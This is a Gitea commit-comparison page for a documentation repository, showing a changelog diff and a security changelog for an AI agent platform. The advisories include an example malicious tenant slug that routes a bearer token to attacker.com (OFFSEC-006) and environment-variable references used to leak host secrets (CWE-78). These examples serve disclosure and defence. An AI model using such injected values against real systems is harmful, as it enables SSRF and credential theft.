Compare commits

..

8 Commits

Author SHA1 Message Date
app-fe c10e38db13 fix(docs): remove duplicate OFFSEC-006 and 2026-05-15 entries per hongming-pc2 review
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-15 08:53:04 +00:00
documentation-specialist 7579152414 docs(changelog): update docs#40 → docs#46 for self-hosted Docker guide entry
Secret scan / secret-scan (pull_request) Successful in 0s
CI / build (pull_request) Successful in 3m21s
docs#40 is closed; the tutorial file is now on docs#46's branch.
Updated the entry to reference docs#46 and mention the Kubernetes
terminationGracePeriodSeconds fix.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-15 05:16:50 +00:00
documentation-specialist a491773cd7 docs(changelog): replace 2026-05-15 placeholder with full daily entry
CI / build (pull_request) Failing after 14m17s
Secret scan / secret-scan (pull_request) Failing after 14m11s
Covers all docs PRs merged 2026-05-15:
- docs#44: MCP HTTP/SSE transport gap-fill
- docs#41: OFFSEC-006 SSRF advisory published
- docs#40: self-hosted Docker deployment guide
- docs#30: dev-channels flag requirement page
- docs#29: remote-workspaces graceful shutdown
- docs#32: PLATFORM_URL defaults fix
- docs#31: CWE-22 regression advisory added
- docs#27: SOP checklist gate
- docs#28/37/36/33: changelog structural fixes

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-15 04:53:17 +00:00
documentation-specialist 65942ab786 docs(changelog): add OFFSEC-006 tenant-slug SSRF advisory to 2026-05-14 + security changelog
CI / build (pull_request) Failing after 12m0s
Secret scan / secret-scan (pull_request) Failing after 11m57s
Adds molecule-core#933 (OFFSEC-006, CWE-918 SSRF + token exfiltration)
to the 2026-05-14 Security section in changelog.mdx.

Also adds OFFSEC-006 to the Security Changelog (security/changelog.md)
with full vulnerability + fix details, cross-referencing docs#41
(offsec-006-slug-ssrf-advisory.mdx) which will add the full
advisory page when it merges.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-15 04:30:57 +00:00
documentation-specialist a8ae866ce1 docs(changelog): add 2026-05-15 placeholder section
Secret scan / secret-scan (pull_request) Successful in 1m36s
CI / build (pull_request) Successful in 5m21s
Day 2026-05-15 begins with no merged PRs (cron fired at 02:15 UTC;
entry will be populated at 23:50 UTC when the day is finalised).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-15 02:22:16 +00:00
documentation-specialist e409a67539 docs(changelog): add openclaw#4 config fix to 2026-05-14 entry
Secret scan / secret-scan (pull_request) Successful in 0s
CI / build (pull_request) Successful in 3m9s
Adds the openclaw workspace template models-in-runtime_config bug fix
to today's changelog alongside the existing CWE-78 + OFFSEC-003 entries.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-15 00:01:02 +00:00
documentation-specialist 6520454764 docs(changelog): add OFFSEC-003 workspace-side boundary escaping — molecule-core#1073
Secret scan / secret-scan (pull_request) Successful in 44s
CI / build (pull_request) Successful in 3m0s
Adds the workspace-side OFFSEC-003 hardening entry to the 2026-05-14
changelog section already opened in docs#45.

Changes:
- changelog.mdx: OFFSEC-003 workspace boundary escaping + closer truncation
  added to the 2026-05-14 security section alongside CWE-78 entry

Note: core#1075 (OFFSEC-010 symlink in provisioner) is SaaS-only
provisioner detail — no public docs needed.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-14 22:21:11 +00:00
documentation-specialist 32f15dc591 docs(security): add CWE-78 expandWithEnv regression fix to changelog
Secret scan / secret-scan (pull_request) Successful in 1s
CI / build (pull_request) Successful in 2m21s
Pairs molecule-core#1030 (Critical). Restores POSIX shell-identifier
guard in expandWithEnv(org_helpers.go:82) that was inadvertently
removed during a regression window. The guard blocks org YAML injection
of env-var references like \${HOME} / \${DOCKER_HOST} into
workspace_dir and channel config fields.

Changes:
- security/changelog.md: new "2026-05-14 — CWE-78 Regression in
  expandWithEnv POSIX-identifier Guard" entry (Critical)
- changelog.mdx: new "2026-05-14" section with security + bugfix entries

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-14 16:18:22 +00:00
2 changed files with 45 additions and 10 deletions
+14 -10
View File
@@ -8,21 +8,25 @@ Entries are published daily at 23:50 UTC.
---
## 2026-05-16
## 2026-05-14
### ✨ New features
### 🔒 Security
- **Claude Code workspace template T4 tier gains host-root escalation**: the Claude Code workspace template (T4 privileged containers) now includes an additive uid-0 escalation leg, providing a wired path to host root inside the privileged container sandbox while preserving the uid-1000 agent identity and the agent-owned `/configs/.auth_token` contract. The escalation is implemented via `sudo` and `nsenter` baked into the Dockerfile. (`molecule-ai-workspace-template-claude-code` [#25](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-claude-code/pulls/25))
- **Poll-mode canvas user messages now persist correctly before returning 200**: canvas chat messages sent via workspaces running in poll mode (`runtime=external`) were occasionally lost when the user exited the chat before the agent processed the message. The root cause was that `logA2AReceiveQueued` only wrote to the in-memory queue, not to durable storage. The persist call is now correctly placed before the poll-mode short-circuit, ensuring messages are durable before the canvas receives a `200`. (`molecule-core` [#1350](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1350))
- **Inbox poller self-echo loop fixed**: when a workspace delegates a task to a target that never picks it up, the platform's `report_activity("a2a_receive")` records the activity with the sender's workspace UUID as `source_id` (per spoof-defense design). The sender's inbox poller was incorrectly processing this as an incoming message from itself — causing an infinite self-echo loop that flooded the inbox. A new `_is_self_echo_row()` predicate now skips `a2a_receive` rows where `source_id == workspace_id`, breaking the loop. (`molecule-core` [#1348](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1348))
- **OpenClaw template adapter routing: fresh provisions now serve correctly**: OpenClaw workspace provisions were failing immediately after launch — the adapter had no routing path for the default model, causing every new workspace to be non-functional on first boot. The adapter now coerces an unroutable model to a known-good default, ensuring new OpenClaw workspaces are immediately usable without manual configuration. (`molecule-ai-workspace-template-openclaw` [#18](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/18))
- **OpenClaw template MiniMax and Kimi-For-Coding API keys routed to correct endpoints**: the OpenClaw adapter was routing all Minimax (`sk-cp-*` keys) and Kimi-For-Coding (`sk-kimi-*` keys) API calls to the wrong endpoints, causing HTTP 401 errors on every chat turn. Minimax calls now route to the Anthropic-compatible gateway; Kimi-For-Coding calls route via Moonshot's Anthropic-compat endpoint. (`molecule-ai-workspace-template-openclaw` [#14](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/14), [#17](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/17))
- **OpenClaw template now shows molecule platform peers**: OpenClaw workspaces were not returning molecule platform peers in `list_peers` responses — the model was answering via its own native `sessions_list` instead of querying the molecule A2A registry. The adapter now correctly registers the molecule A2A MCP server, so `list_peers` returns platform peers as expected. (`molecule-ai-workspace-template-openclaw` [#16](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/16))
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
### 🐛 Bug fixes
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
### 🧹 Internal
- **CI/CD publish lane routing** (`molecule-core`): 7 post-merge ship jobs across 5 workflows now route to a dedicated `publish` runner lane instead of competing in the shared CI queue. Urgent production-deploy builds (e.g. P0 security fixes) no longer sit behind ordinary PR-required CI. (`molecule-core` [#1376](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1376))
- **Runtime catalog cleanup** (`molecule-core`): `crewai`, `deepagents`, and `gemini-cli` removed from the workspace runtime catalog (internal#483). (`molecule-core` [#1385](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1385))
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))
---
+31
View File
@@ -9,6 +9,37 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent
---
## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
**Severity:** Critical (CWE-78)
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
**Affected:** `workspace-server/internal/handlers/org_helpers.go``expandWithEnv`
### Vulnerability
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
### Fix
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
```go
c := key[0]
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
return "$" + key // not a valid shell identifier — return literally
}
```
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
### User-facing summary
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
---
## 2026-04-20 — CWE-22: Path Traversal in `copyFilesToContainer`
**Severity:** High (CWE-22)